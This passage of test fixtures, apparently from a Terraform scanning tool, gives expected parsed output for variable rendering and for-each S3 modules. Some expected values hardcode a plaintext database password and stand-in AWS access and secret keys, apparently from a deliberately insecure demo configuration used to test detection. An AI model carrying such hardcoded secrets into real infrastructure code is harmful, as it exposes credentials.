tests/terraform/graph/variable_rendering/expected_data.py ================================================ expected_postgres_module = {"create": True, "name": "${var.name}", "use_name_prefix": True, "description": "Security Group managed by Terraform", "vpc_id": "${var.vpc_id}", "revoke_rules_on_delete": False, "tags": {}, "ingress_rules": ["postgresql-tcp"], "ingress_with_self": [{"rule": "all-all"}], "number_of_computed_egress_rules": 0, } expected_terragoat_local_resource_prefix = {'resource_prefix': {'value': 'test_id-acme-dev'}} expected_terragoat_db_instance = {'name': 'db1', 'engine': 'mysql', 'option_group_name': 'og-test_id-acme-dev', 'parameter_group_name': 'pg-test_id-acme-dev', 'db_subnet_group_name': 'sg-test_id-acme-dev', 'vpc_security_group_ids': ['aws_security_group.default.id'], 'identifier': 'rds-test_id-acme-dev', 'password': 'Aa1234321Bb', 'tags': {'Name': 'test_id-acme-dev-rds', 'Environment': 'test_id-acme-dev'} } expected_eks = { "resource": { "aws_eks_cluster.tf_eks": { "version": ["1.19"], "vpc_config": { "security_group_ids": ["aws_security_group.master.id"], "subnet_ids": "aws_subnet.eks[*].id" }, } } } expected_provider = { "provider": { "aws": { "access_key": ["AKIAVAN"], "secret_key": ["0CU4jk0"], "region": ["us-west-2"], } } } ================================================ FILE: tests/terraform/graph/variable_rendering/expected_data_foreach.json ================================================ { "breadcrumbs": { "depend_resources/main.tf": { "aws_s3_bucket.foreach_map[\"bucket_a\"]": { "location": [ { "type": "variable", "name": "test", "path": "/Users/cshayner/development/checkov/tests/terraform/graph/variable_rendering/resources/foreach_examples/depend_resources/variable.tf", "module_connection": false } ] }, "aws_s3_bucket.foreach_map[\"bucket_b\"]": { "location": [ { "type": "variable", "name": "test", "path": "/Users/cshayner/development/checkov/tests/terraform/graph/variable_rendering/resources/foreach_examples/depend_resources/variable.tf", "module_connection": false } ] } } }, "tf_definitions": { "depend_resources/variable.tf": { "variable": [ { "foreach_map": { "__end_line__": 6, "__start_line__": 1, "default": [ { "bucket_a": "us-west-2", "bucket_b": "us-east-2" } ], "__address__": "foreach_map" } }, { "test": { "__end_line__": 10, "__start_line__": 8, "default": [ "test" ], "__address__": "test" } } ] }, "depend_resources/main.tf": { "resource": [ { "aws_s3_bucket": { "foreach_map[\"bucket_a\"]": { "__end_line__": 6, "__start_line__": 1, "location": [ "test" ], "name": [ "bucket_a" ], "region": [ "us-west-2" ], "__address__": "aws_s3_bucket.foreach_map[\"bucket_a\"]" } } }, { "aws_s3_bucket": { "foreach_map[\"bucket_b\"]": { "__end_line__": 6, "__start_line__": 1, "location": [ "test" ], "name": [ "bucket_b" ], "region": [ "us-east-2" ], "__address__": "aws_s3_bucket.foreach_map[\"bucket_b\"]" } } } ] } } } ================================================ FILE: tests/terraform/graph/variable_rendering/expected_foreach_module_dup_foreach.json ================================================ { "{\"file_path\": \".../tests/terraform/graph/variable_rendering/resources/foreach_module_dup_foreach/main.tf\", \"tf_source_modules\": null}": { "module": [ { "s3_module[\"a\"]": { "__address__": "s3_module[\"a\"]", "__end_line__": 12, "__resolved__": [ "{\"file_path\": \".../tests/terraform/graph/variable_rendering/resources/foreach_module_dup_foreach/module/main.tf\", \"tf_source_modules\": {\"path\": \".../tests/terraform/graph/variable_rendering/resources/foreach_module_dup_foreach/main.tf\", \"name\": \"s3_module\", \"foreach_idx\": \"a\", \"nested_tf_module\": null}}" ], "__start_line__": 7, "bucket": [ false ], "bucket2": [ "" ], "source": [ "./module" ] } }, { "s3_module2[0]": { "__address__": "s3_module2[0]", "__end_line__": 19, "__resolved__": [ "{\"file_path\": \".../tests/terraform/graph/variable_rendering/resources/foreach_module_dup_foreach/module/main.tf\", \"tf_source_modules\": {\"path\": \".../tests/terraform/graph/variable_rendering/resources/foreach_module_dup_foreach/main.tf\", \"name\": \"s3_module2\", \"foreach_idx\": 0, \"nested_tf_module\": null}}" ], "__start_line__": 14, "bucket": [ "" ], "bucket2": [ true ], "source": [ "./module" ] } }, { "s3_module[\"b\"]": { "__address__": "s3_module[\"b\"]", "__end_line__": 12, "__resolved__": [ "{\"file_path\": \".../tests/terraform/graph/variable_rendering/resources/foreach_module_dup_foreach/module/main.tf\", \"tf_source_modules\": {\"path\": \".../tests/terraform/graph/variable_rendering/resources/foreach_module_dup_foreach/main.tf\", \"name\": \"s3_module\", \"foreach_idx\": \"b\", \"nested_tf_module\": null}}" ], "__start_line__": 7, "bucket": [ false ], "bucket2": [ "" ], "source": [ "./module" ] } }, { "s3_module2[1]": { "__address__": "s3_module2[1]", "__end_line__": 19, "__resolved__": [ "{\"file_path\": \".../tests/terraform/graph/variable_rendering/resources/foreach_module_dup_foreach/module/main.tf\", \"tf_source_modules\": {\"path\": \".../tests/terraform/graph/variable_rendering/resources/foreach_module_dup_foreach/main.tf\", \"name\": \"s3_module2\", \"foreach_idx\": 1, \"nested_tf_module\": null}}" ], "__start_line__": 14, "bucket": [ "" ], "bucket2": [ true ], "source": [ "./module" ] } } ], "provider": [ { "aws": { "__address__": "aws.test_provider", "__end_line__": 5, "__start_line__": 1, "alias": [ "test_provider" ], "region": [ "us-west-2" ], "test_provider": [ true ] } } ] }, "{\"file_path\": \".../tests/terraform/graph/variable_rendering/resources/foreach_module_dup_foreach/module/main.tf\", \"tf_source_modules\": {\"path\": \".../tests/terraform/graph/variable_rendering/resources/foreach_module_dup_foreach/main.tf\", \"name\": \"s3_module\", \"foreach_idx\": \"a\", \"nested_tf_module\": null}}": { "module": [ { "inner_s3_module[\"c\"]": { "__address__": "module.s3_module[\"a\"].inner_s3_module[\"c\"]", "__end_line__": 5, "__resolved__": [ "{\"file_path\": \".../tests/terraform/graph/variable_rendering/resources/foreach_module_dup_foreach/module/module2/main.tf\", \"tf_source_modules\": {\"path\": \".../tests/terraform/graph/variable_rendering/resources/foreach_module_dup_foreach/module/main.tf\", \"name\": \"inner_s3_module\", \"foreach_idx\": \"c\", \"nested_tf_module\": {\"path\": \".../tests/terraform/graph/variable_rendering/resources/foreach_module_dup_foreach/main.tf\", \"name\": \"s3_module\", \"foreach_idx\": \"a\", \"nested_tf_module\": null}}}" ], "__start_line__": 1, "bucket2": [ false ], "source": [ "./module2" ] } }, { "inner_s3_module2[\"e\"]": { "__address__": "module.s3_module[\"a\"].inner_s3_module2[\"e\"]", "__end_line__": 11, "__resolved__": [ "{\"file_path\": \".../tests/terraform/graph/variable_rendering/resources/foreach_module_dup_foreach/module/module2/main.tf\", \"tf_source_modules\": {\"path\": \".../tests/terraform/graph/variable_rendering/resources/foreach_module_dup_foreach/module/main.tf\", \"name\": \"inner_s3_module2\", \"foreach_idx\": \"e\", \"nested_tf_module\": {\"path\": \".../tests/terraform/graph/variable_rendering/resources/foreach_module_dup_foreach/main.tf\", \"name\": \"s3_module\", \"foreach_idx\": \"a\", \"nested_tf_module\": null}}}" ], "__start_line__": 7, "bucket2": [ "" ], "source": [ "./module2" ] } }, { "inner_s3_module[\"d\"]": { "__address__": "module.s3_module[\"a\"].inner_s3_module[\"d\"]", "__end_line__": 5, "__resolved__": [ "{\"file_path\": \".../tests/terraform/graph/variable_rendering/resources/foreach_module_dup_foreach/module/module2/main.tf\", \"tf_source_modules\": {\"path\": \".../tests/terraform/graph/variable_rendering/resources/foreach_module_dup_foreach/module/main.tf\", \"name\": \"inner_s3_module\", \"foreach_idx\": \"d\", \"nested_tf_module\": {\"path\": \".../tests/terraform/graph/variable_rendering/resources/foreach_module_dup_foreach/main.tf\", \"name\": \"s3_module\", \"foreach_idx\": \"a\", \"nested_tf_module\": null}}}" ], "__start_line__": 1, "bucket2": [ false ], "source": [ "./module2" ] } }, { "inner_s3_module2[\"f\"]": { "__address__": "module.s3_module[\"a\"].inner_s3_module2[\"f\"]", "__end_line__": 11, "__resolved__": [ "{\"file_path\": \".../tests/terraform/graph/variable_rendering/resources/foreach_module_dup_foreach/module/module2/main.tf\", \"tf_source_modules\": {\"path\": \".../tests/terraform/graph/variable_rendering/resources/foreach_module_dup_foreach/module/main.tf\", \"name\": \"inner_s3_module2\", \"foreach_idx\": \"f\", \"nested_tf_module\": {\"path\": \".../tests/terraform/graph/variable_rendering/resources/foreach_module_dup_foreach/main.tf\", \"name\": \"s3_module\", \"foreach_idx\": \"a\", \"nested_tf_module\": null}}}" ], "__start_line__": 7, "bucket2": [ "" ], "source": [ "./module2" ] } } ], "variable": [ { "bucket": { "__address__": "module.s3_module[\"a\"].bucket", "__end_line__": 16, "__start_line__": 14, "type": [ "string" ] } }, { "bucket2": { "__address__": "module.s3_module[\"a\"].bucket2", "__end_line__": 20, "__start_line__": 18, "type": [ "string" ] } } ] }, "{\"file_path\": \".../tests/terraform/graph/variable_rendering/resources/foreach_module_dup_foreach/module/main.tf\", \"tf_source_modules\": {\"path\": \".../tests/terraform/graph/variable_rendering/resources/foreach_module_dup_foreach/main.tf\", \"name\": \"s3_module\", \"foreach_idx\": \"b\", \"nested_tf_module\": null}}": { "module": [ { "inner_s3_module[\"c\"]": { "__address__": "module.s3_module[\"b\"].inner_s3_module[\"c\"]", "__end_line__": 5, "__resolved__": [ "{\"file_path\": \".../tests/terraform/graph/variable_rendering/resources/foreach_module_dup_foreach/module/module2/main.tf\", \"tf_source_modules\": {\"path\": \".../tests/terraform/graph/variable_rendering/resources/foreach_module_dup_foreach/module/main.tf\", \"name\": \"inner_s3_module\", \"foreach_idx\": null, \"nested_tf_module\": {\"path\": \".../tests/terraform/graph/variable_rendering/resources/foreach_module_dup_foreach/main.tf\", \"name\": \"s3_module\", \"foreach_idx\": \"a\", \"nested_tf_module\": null}}}" ], "__start_line__": 1, "bucket2": [ false ], "source": [ "./module2" ] } }, { "inner_s3_module2[\"e\"]": { "__address__": "module.s3_module[\"b\"].inner_s3_module2[\"e\"]", "__end_line__": 11, "__resolved__": [ "{\"file_path\": \".../tests/terraform/graph/variable_rendering/resources/foreach_module_dup_foreach/module/module2/main.tf\", \"tf_source_modules\": {\"path\": \".../tests/terraform/graph/variable_rendering/resources/foreach_module_dup_foreach/module/main.tf\", \"name\": \"inner_s3_module2\", \"foreach_idx\": null, \"nested_tf_module\": {\"path\": \".../tests/terraform/graph/variable_rendering/resources/foreach_module_dup_foreach/main.tf\", \"name\": \"s3_module\", \"foreach_idx\": \"a\", \"nested_tf_module\": null}}}" ], "__start_line__": 7, "bucket2": [ "" ], "source": [ "./module2" ] } }, { "inner_s3_module[\"d\"]": { "__address__": "module.s3_module[\"b\"].inner_s3_module[\"d\"]", "__end_line__": 5, "__resolved__": [ "{\"file_path\": \".../tests/terraform/graph/variable_rendering/resources/foreach_module_dup_foreach/module/module2/main.tf\", \"tf_source_modules\": {\"path\": \".../tests/terraform/graph/variable_rendering/resources/foreach_module_dup_foreach/module/main.tf\", \"name\": \"inner_s3_module\", \"foreach_idx\": null, \"nested_tf_module\": {\"path\": \".../tests/terraform/graph/variable_rendering/resources/foreach_module_dup_foreach/main.tf\", \"name\": \"s3_module\", \"foreach_idx\": \"a\", \"nested_tf_module\": null}}}" ], "__start_line__": 1, "bucket2": [ false ], "source": [ "./module2" ] } }, { "inner_s3_module2[\"f\"]": { "__address__": "module.s3_module[\"b\"].inner_s3_module2[\"f\"]", "__end_line__": 11, "__resolved__": [ "{\"file_path\": \".../tests/terraform/graph/variable_rendering/resources/foreach_module_dup_foreach/module/module2/main.tf\", \"tf_source_modules\": {\"path\": \".../tests/terraform/graph/variable_rendering/resources/foreach_module_dup_foreach/module/main.tf\", \"name\": \"inner_s3_module2\", \"foreach_idx\": null, \"nested_tf_module\": {\"path\": \".../tests/terraform/graph/variable_rendering/resources/foreach_module_dup_foreach/main.tf\", \"name\": \"s3_module\", \"foreach_idx\": \"a\", \"nested_tf_module\": null}}}" ], "__start_line__": 7, "bucket2": [ "" ], "source": [ "./module2" ] } } ], "variable": [ { "bucket": { "__address__": "module.s3_module[\"b\"].bucket", "__end_line__": 16, "__start_line__": 14, "type": [ "string" ] } }, { "bucket2": { "__address__": "module.s3_module[\"b\"].bucket2", "__end_line__": 20, "__start_line__": 18, "type": [ "string" ] } } ] }, "{\"file_path\": \".../tests/terraform/graph/variable_rendering/resources/foreach_module_dup_foreach/module/main.tf\", \"tf_source_modules\": {\"path\": \".../tests/terraform/graph/variable_rendering/resources/foreach_module_dup_foreach/main.tf\", \"name\": \"s3_module2\", \"foreach_idx\": 0, \"nested_tf_module\": null}}": { "module": [ { "inner_s3_module[\"c\"]": { "__address__": "module.s3_module2[0].inner_s3_module[\"c\"]", "__end_line__": 5, "__resolved__": [ "{\"file_path\": \".../tests/terraform/graph/variable_rendering/resources/foreach_module_dup_foreach/module/module2/main.tf\", \"tf_source_modules\": {\"path\": \".../tests/terraform/graph/variable_rendering/resources/foreach_module_dup_foreach/module/main.tf\", \"name\": \"inner_s3_module\", \"foreach_idx\": \"c\", \"nested_tf_module\": {\"path\": \".../tests/terraform/graph/variable_rendering/resources/foreach_module_dup_foreach/main.tf\", \"name\": \"s3_module2\", \"foreach_idx\": 0, \"nested_tf_module\": null}}}" ], "__start_line__": 1, "bucket2": [ "" ], "source": [ "./module2" ] } }, { "inner_s3_module2[\"e\"]": { "__address__": "module.s3_module2[0].inner_s3_module2[\"e\"]", "__end_line__": 11, "__resolved__": [ "{\"file_path\": \".../tests/terraform/graph/variable_rendering/resources/foreach_module_dup_foreach/module/module2/main.tf\", \"tf_source_modules\": {\"path\": \".../tests/terraform/graph/variable_rendering/resources/foreach_module_dup_foreach/module/main.tf\", \"name\": \"inner_s3_module2\", \"foreach_idx\": \"e\", \"nested_tf_module\": {\"path\": \".../tests/terraform/graph/variable_rendering/resources/foreach_module_dup_foreach/main.tf\", \"name\": \"s3_module2\", \"foreach_idx\": 0, \"nested_tf_module\": null}}}" ], "__start_line__": 7, "bucket2": [ true ], "source": [ "./module2" ] } }, { "inner_s3_module[\"d\"]": { "__address__": "module.s3_module2[0].inner_s3_module[\"d\"]", "__end_line__": 5, "__resolved__": [ "{\"file_path\": \".../tests/terraform/graph/variable_rendering/resources/foreach_module_dup_foreach/module/module2/main.tf\", \"tf_source_modules\": {\"path\": \".../tests/terraform/graph/variable_rendering/resources/foreach_module_dup_foreach/module/main.tf\", \"name\": \"inner_s3_module\", \"foreach_idx\": \"d\", \"nested_tf_module\": {\"path\": \".../tests/terraform/graph/variable_rendering/resources/foreach_module_dup_foreach/main.tf\", \"name\": \"s3_module2\", \"foreach_idx\": 0, \"nested_tf_module\": null}}}" ], "__start_line__": 1, "bucket2": [ "" ], "source": [ "./module2" ] } }, { "inner_s3_module2[\"f\"]": { "__address__": "module.s3_module2[0].inner_s3_module2[\"f\"]", "__end_line__": 11, "__resolved__": [ "{\"file_path\": \".../tests/terraform/graph/variable_rendering/resources/foreach_module_dup_foreach/module/module2/main.tf\", \"tf_source_modules\": {\"path\": \".../tests/terraform/graph/variable_rendering/resources/foreach_module_dup_foreach/module/main.tf\", \"name\": \"inner_s3_module2\", \"foreach_idx\": \"f\", \"nested_tf_module\": {\"path\": \".../tests/terraform/graph/variable_rendering/resources/foreach_module_dup_foreach/main.tf\", \"name\": \"s3_module2\", \"foreach_idx\": 0, \"nested_tf_module\": null}}}" ], "__start_line__": 7, "bucket2": [ true ], "source": [ "./module2" ] } } ], "variable": [ { "bucket": { "__address__": "module.s3_module2[0].bucket", "__end_line__": 16, "__start_line__": 14, "type": [ "string" ] } }, { "bucket2": { "__address__": "module.s3_module2[0].bucket2", "__end_line__": 20, "__start_line__": 18, "type": [ "string" ] } } ] }, "{\"file_path\": \".../tests/terraform/graph/variable_rendering/resources/foreach_module_dup_foreach/module/main.tf\", \"tf_source_modules\": {\"path\": \".../tests/terraform/graph/variable_rendering/resources/foreach_module_dup_foreach/main.tf\", \"name\": \"s3_module2\", \"foreach_idx\": 1, \"nested_tf_module\": null}}": { "module": [ { "inner_s3_module[\"c\"]": { "__address__": "module.s3_module2[1].inner_s3_module[\"c\"]", "__end_line__": 5, "__resolved__": [ "{\"file_path\": \".../tests/terraform/graph/variable_rendering/resources/foreach_module_dup_foreach/module/module2/main.tf\", \"tf_source_modules\": {\"path\": \".../tests/terraform/graph/variable_rendering/resources/foreach_module_dup_foreach/module/main.tf\", \"name\": \"inner_s3_module\", \"foreach_idx\": null, \"nested_tf_module\": {\"path\": \".../tests/terraform/graph/variable_rendering/resources/foreach_module_dup_foreach/main.tf\", \"name\": \"s3_module2\", \"foreach_idx\": 0, \"nested_tf_module\": null}}}" ], "__start_line__": 1, "bucket2": [ "" ], "source": [ "./module2" ] } }, { "inner_s3_module2[\"e\"]": { "__address__": "module.s3_module2[1].inner_s3_module2[\"e\"]", "__end_line__": 11, "__resolved__": [ "{\"file_path\": \".../tests/terraform/graph/variable_rendering/resources/foreach_module_dup_foreach/module/module2/main.tf\", \"tf_source_modules\": {\"path\": \".../tests/terraform/graph/variable_rendering/resources/foreach_module_dup_foreach/module/main.tf\", \"name\": \"inner_s3_module2\", \"foreach_idx\": null, \"nested_tf_module\": {\"path\": \".../tests/terraform/graph/variable_rendering/resources/foreach_module_dup_foreach/main.tf\", \"name\": \"s3_module2\", \"foreach_idx\": 0, \"nested_tf_module\": null}}}" ], "__start_line__": 7, "bucket2": [ true ], "source": [ "./module2" ] } }, { "inner_s3_module[\"d\"]": { "__address__": "module.s3_module2[1].inner_s3_module[\"d\"]", "__end_line__": 5, "__resolved__": [ "{\"file_path\": \".../tests/terraform/graph/variable_rendering/resources/foreach_module_dup_foreach/module/module2/main.tf\", \"tf_source_modules\": {\"path\": \".../tests/terraform/graph/variable_rendering/resources/foreach_module_dup_foreach/module/main.tf\", \"name\": \"inner_s3_module\", \"foreach_idx\": null, \"nested_tf_module\": {\"path\": \".../tests/terraform/graph/variable_rendering/resources/foreach_module_dup_foreach/main.tf\", \"name\": \"s3_module2\", \"foreach_idx\": 0, \"nested_tf_module\": null}}}" ], "__start_line__": 1, "bucket2": [ "" ], "source": [ "./module2" ] } }, { "inner_s3_module2[\"f\"]": { "__address__": "module.s3_module2[1].inner_s3_module2[\"f\"]", "__end_line__": 11, "__resolved__": [ "{\"file_path\": \".../tests/terraform/graph/variable_rendering/resources/foreach_module_dup_foreach/module/module2/main.tf\", \"tf_source_modules\": {\"path\": \".../tests/terraform/graph/variable_rendering/resources/foreach_module_dup_foreach/module/main.tf\", \"name\": \"inner_s3_module2\", \"foreach_idx\": null, \"nested_tf_module\": {\"path\": \".../tests/terraform/graph/variable_rendering/resources/foreach_module_dup_foreach/main.tf\", \"name\": \"s3_module2\", \"foreach_idx\": 0, \"nested_tf_module\": null}}}" ], "__start_line__": 7, "bucket2": [ true ], "source": [ "./module2" ] } } ], "variable": [ { "bucket": { "__address__": "module.s3_module2[1].bucket", "__end_line__": 16, "__start_line__": 14, "type": [ "string" ] } }, { "bucket2": { "__address__": "module.s3_module2[1].bucket2", "__end_line__": 20, "__start_line__": 18, "type": [ "string" ] } } ] }, "{\"file_path\": \".../tests/terraform/graph/variable_rendering/resources/foreach_module_dup_foreach/module/module2/main.tf\", \"tf_source_modules\": {\"path\": \".../tests/terraform/graph/variable_rendering/resources/foreach_module_dup_foreach/module/main.tf\", \"name\": \"inner_s3_module\", \"foreach_idx\": \"c\", \"nested_tf_module\": {\"path\": \".../tests/terraform/graph/variable_rendering/resources/foreach_module_dup_foreach/main.tf\", \"name\": \"s3_module\", \"foreach_idx\": \"a\", \"nested_tf_module\": null}}}": { "locals": [ { "__address__": "module.s3_module[\"a\"].module.inner_s3_module[\"c\"].bucket2", "bucket2": [ false ] } ], "resource": [ { "aws_s3_bucket_public_access_block": { "var_bucket": { "__address__": "module.s3_module[\"a\"].module.inner_s3_module[\"c\"].aws_s3_bucket_public_access_block.var_bucket", "__end_line__": 11, "__provider_address__": "", "__start_line__": 5, "block_public_acls": [ true ], "block_public_policy": [ true ], "bucket": [ false ], "ignore_public_acls": [ true ], "restrict_public_buckets": [ true ] } } } ], "variable": [ { "bucket2": { "__address__": "module.s3_module[\"a\"].module.inner_s3_module[\"c\"].bucket2", "__end_line__": 16, "__start_line__": 14, "type": [ "string" ] } } ] }, "{\"file_path\": \".../tests/terraform/graph/variable_rendering/resources/foreach_module_dup_foreach/module/module2/main.tf\", \"tf_source_modules\": {\"path\": \".../tests/terraform/graph/variable_rendering/resources/foreach_module_dup_foreach/module/main.tf\", \"name\": \"inner_s3_module\", \"foreach_idx\": \"c\", \"nested_tf_module\": {\"path\": \".../tests/terraform/graph/variable_rendering/resources/foreach_module_dup_foreach/main.tf\", \"name\": \"s3_module\", \"foreach_idx\": \"b\", \"nested_tf_module\": null}}}": { "locals": [ { "__address__": "module.s3_module[\"b\"].module.inner_s3_module[\"c\"].bucket2", "bucket2": [ false ] } ], "resource": [ { "aws_s3_bucket_public_access_block": { "var_bucket": { "__address__": "module.s3_module[\"b\"].module.inner_s3_module[\"c\"].aws_s3_bucket_public_access_block.var_bucket", "__end_line__": 11, "__provider_address__": "", "__start_line__": 5, "block_public_acls": [ true ], "block_public_policy": [ true ], "bucket": [ false ], "ignore_public_acls": [ true ], "restrict_public_buckets": [ true ] } } } ], "variable": [ { "bucket2": { "__address__": "module.s3_module[\"b\"].module.inner_s3_module[\"c\"].bucket2", "__end_line__": 16, "__start_line__": 14, "type": [ "string" ] } } ] }, "{\"file_path\": \".../tests/terraform/graph/variable_rendering/resources/foreach_module_dup_foreach/module/module2/main.tf\", \"tf_source_modules\": {\"path\": \".../tests/terraform/graph/variable_rendering/resources/foreach_module_dup_foreach/module/main.tf\", \"name\": \"inner_s3_module\", \"foreach_idx\": \"c\", \"nested_tf_module\": {\"path\": \".../tests/terraform/graph/variable_rendering/resources/foreach_module_dup_foreach/main.tf\", \"name\": \"s3_module2\", \"foreach_idx\": 0, \"nested_tf_module\": null}}}": { "locals": [ { "__address__": "module.s3_module2[0].module.inner_s3_module[\"c\"].bucket2", "bucket2": [ "" ] } ], "resource": [ { "aws_s3_bucket_public_access_block": { "var_bucket": { "__address__": "module.s3_module2[0].module.inner_s3_module[\"c\"].aws_s3_bucket_public_access_block.var_bucket", "__end_line__": 11, "__provider_address__": "", "__start_line__": 5, "block_public_acls": [ true ], "block_public_policy": [ true ], "bucket": [ "" ], "ignore_public_acls": [ true ], "restrict_public_buckets": [ true ] } } } ], "variable": [ { "bucket2": { "__address__": "module.s3_module2[0].module.inner_s3_module[\"c\"].bucket2", "__end_line__": 16, "__start_line__": 14, "type": [ "string" ] } } ] }, "{\"file_path\": \".../tests/terraform/graph/variable_rendering/resources/foreach_module_dup_foreach/module/module2/main.tf\", \"tf_source_modules\": {\"path\": \".../tests/terraform/graph/variable_rendering/resources/foreach_module_dup_foreach/module/main.tf\", \"name\": \"inner_s3_module\", \"foreach_idx\": \"c\", \"nested_tf_module\": {\"path\": \".../tests/terraform/graph/variable_rendering/resources/foreach_module_dup_foreach/main.tf\", \"name\": \"s3_module2\", \"foreach_idx\": 1, \"nested_tf_module\": null}}}": { "locals": [ { "__address__": "module.s3_module2[1].module.inner_s3_module[\"c\"].bucket2", "bucket2": [ "" ] } ], "resource": [ { "aws_s3_bucket_public_access_block": { "var_bucket": { "__address__": "module.s3_module2[1].module.inner_s3_module[\"c\"].aws_s3_bucket_public_access_block.var_bucket", "__end_line__": 11, "__provider_address__": "", "__start_line__": 5, "block_public_acls": [ true ], "block_public_policy": [ true ], "bucket": [ "" ], "ignore_public_acls": [ true ], "restrict_public_buckets": [ true ] } } } ], "variable": [ { "bucket2": { "__address__": "module.s3_module2[1].module.inner_s3_module[\"c\"].bucket2", "__end_line__": 16, "__start_line__": 14, "type": [ "string" ] } } ] }, "{\"file_path\": \".../tests/terraform/graph/variable_rendering/resources/foreach_module_dup_foreach/module/module2/main.tf\", \"tf_source_modules\": {\"path\": \".../tests/terraform/graph/variable_rendering/resources/foreach_module_dup_foreach/module/main.tf\", \"name\": \"inner_s3_module\", \"foreach_idx\": \"d\", \"nested_tf_module\": {\"path\": \".../tests/terraform/graph/variable_rendering/resources/foreach_module_dup_foreach/main.tf\", \"name\": \"s3_module\", \"foreach_idx\": \"a\", \"nested_tf_module\": null}}}": { "locals": [ { "__address__": "module.s3_module[\"a\"].module.inner_s3_module[\"d\"].bucket2", "bucket2": [ false ] } ], "resource": [ { "aws_s3_bucket_public_access_block": { "var_bucket": { "__address__": "module.s3_module[\"a\"].module.inner_s3_module[\"d\"].aws_s3_bucket_public_access_block.var_bucket", "__end_line__": 11, "__provider_address__": "", "__start_line__": 5, "block_public_acls": [ true ], "block_public_policy": [ true ], "bucket": [ false ], "ignore_public_acls": [ true ], "restrict_public_buckets": [ true ] } } } ], "variable": [ { "bucket2": { "__address__": "module.s3_module[\"a\"].module.inner_s3_module[\"d\"].bucket2", "__end_line__": 16, "__start_line__": 14, "type": [ "string" ] } } ] }, "{\"file_path\": \".../tests/terraform/graph/variable_rendering/resources/foreach_module_dup_foreach/module/module2/main.tf\", \"tf_source_modules\": {\"path\": \".../tests/terraform/graph/variable_rendering/resources/foreach_module_dup_foreach/module/main.tf\", \"name\": \"inner_s3_module\", \"foreach_idx\": \"d\", \"nested_tf_module\": {\"path\": \".../tests/terraform/graph/variable_rendering/resources/foreach_module_dup_foreach/main.tf\", \"name\": \"s3_module\", \"foreach_idx\": \"b\", \"nested_tf_module\": null}}}": { "locals": [ { "__address__": "module.s3_module[\"b\"].module.inner_s3_module[\"d\"].bucket2", "bucket2": [ false ] } ], "resource": [ { "aws_s3_bucket_public_access_block": { "var_bucket": { "__address__": "module.s3_module[\"b\"].module.inner_s3_module[\"d\"].aws_s3_bucket_public_access_block.var_bucket", "__end_line__": 11, "__provider_address__": "", "__start_line__": 5, "block_public_acls": [ true ], "block_public_policy": [ true ], "bucket": [ false ], "ignore_public_acls": [ true ], "restrict_public_buckets": [ true ] } } } ], "variable": [ { "bucket2": { "__address__": "module.s3_module[\"b\"].module.inner_s3_module[\"d\"].bucket2", "__end_line__": 16, "__start_line__": 14, "type": [ "string" ] } } ] }, "{\"file_path\": \".../tests/terraform/graph/variable_rendering/resources/foreach_module_dup_foreach/module/module2/main.tf\", \"tf_source_modules\": {\"path\": \".../tests/terraform/graph/variable_rendering/resources/foreach_module_dup_foreach/module/main.tf\", \"name\": \"inner_s3_module\", \"foreach_idx\": \"d\", \"nested_tf_module\": {\"path\": \".../tests/terraform/graph/variable_rendering/resources/foreach_module_dup_foreach/main.tf\", \"name\": \"s3_module2\", \"foreach_idx\": 0, \"nested_tf_module\": null}}}": { "locals": [ { "__address__": "module.s3_module2[0].module.inner_s3_module[\"d\"].bucket2", "bucket2": [ "" ] } ], "resource": [ { "aws_s3_bucket_public_access_block": { "var_bucket": { "__address__": "module.s3_module2[0].module.inner_s3_module[\"d\"].aws_s3_bucket_public_access_block.var_bucket", "__end_line__": 11, "__provider_address__": "", "__start_line__": 5, "block_public_acls": [ true ], "block_public_policy": [ true ], "bucket": [ "" ], "ignore_public_acls": [ true ], "restrict_public_buckets": [ true ] } } } ], "variable": [ { "bucket2": { "__address__": "module.s3_module2[0].module.inner_s3_module[\"d\"].bucket2", "__end_line__": 16, "__start_line__": 14, "type": [ "string" ] } } ] }, "{\"file_path\": \".../tests/terraform/graph/variable_rendering/resources/foreach_module_dup_foreach/module/module2/main.tf\", \"tf_source_modules\": {\"path\": \".../tests/terraform/graph/variable_rendering/resources/foreach_module_dup_foreach/module/main.tf\", \"name\": \"inner_s3_module\", \"foreach_idx\": \"d\", \"nested_tf_module\": {\"path\": \".../tests/terraform/graph/variable_rendering/resources/foreach_module_dup_foreach/main.tf\", \"name\": \"s3_module2\", \"foreach_idx\": 1, \"nested_tf_module\": null}}}": { "locals": [ { "__address__": "module.s3_module2[1].module.inner_s3_module[\"d\"].bucket2", "bucket2": [ "" ] } ], "resource": [ { "aws_s3_bucket_public_access_block": { "var_bucket": { "__address__": "module.s3_module2[1].module.inner_s3_module[\"d\"].aws_s3_bucket_public_access_block.var_bucket", "__end_line__": 11, "__provider_address__": "", "__start_line__": 5, "block_public_acls": [ true ], "block_public_policy": [ true ], "bucket": [ "" ], "ignore_public_acls": [ true ], "restrict_public_buckets": [ true ] } } } ], "variable": [ { "bucket2": { "__address__": "module.s3_module2[1].module.inner_s3_module[\"d\"].bucket2", "__end_line__": 16, "__start_line__": 14, "type": [ "string" ] } } ] }, "{\"file_path\": \".../tests/terraform/graph/variable_rendering/resources/foreach_module_dup_foreach/module/module2/main.tf\", \"tf_source_modules\": {\"path\": \".../tests/terraform/graph/variable_rendering/resources/foreach_module_dup_foreach/module/main.tf\", \"name\": \"inner_s3_module2\", \"foreach_idx\": \"e\", \"nested_tf_module\": {\"path\": \".../tests/terraform/graph/variable_rendering/resources/foreach_module_dup_foreach/main.tf\", \"name\": \"s3_module\", \"foreach_idx\": \"a\", \"nested_tf_module\": null}}}": { "locals": [ { "__address__": "module.s3_module[\"a\"].module.inner_s3_module2[\"e\"].bucket2", "bucket2": [ "" ] } ], "resource": [ { "aws_s3_bucket_public_access_block": { "var_bucket": { "__address__": "module.s3_module[\"a\"].module.inner_s3_module2[\"e\"].aws_s3_bucket_public_access_block.var_bucket", "__end_line__": 11, "__provider_address__": "", "__start_line__": 5, "block_public_acls": [ true ], "block_public_policy": [ true ], "bucket": [ "" ], "ignore_public_acls": [ true ], "restrict_public_buckets": [ true ] } } } ], "variable": [ { "bucket2": { "__address__": "module.s3_module[\"a\"].module.inner_s3_module2[\"e\"].bucket2", "__end_line__": 16, "__start_line__": 14, "type": [ "string" ] } } ] }, "{\"file_path\": \".../tests/terraform/graph/variable_rendering/resources/foreach_module_dup_foreach/module/module2/main.tf\", \"tf_source_modules\": {\"path\": \".../tests/terraform/graph/variable_rendering/resources/foreach_module_dup_foreach/module/main.tf\", \"name\": \"inner_s3_module2\", \"foreach_idx\": \"e\", \"nested_tf_module\": {\"path\": 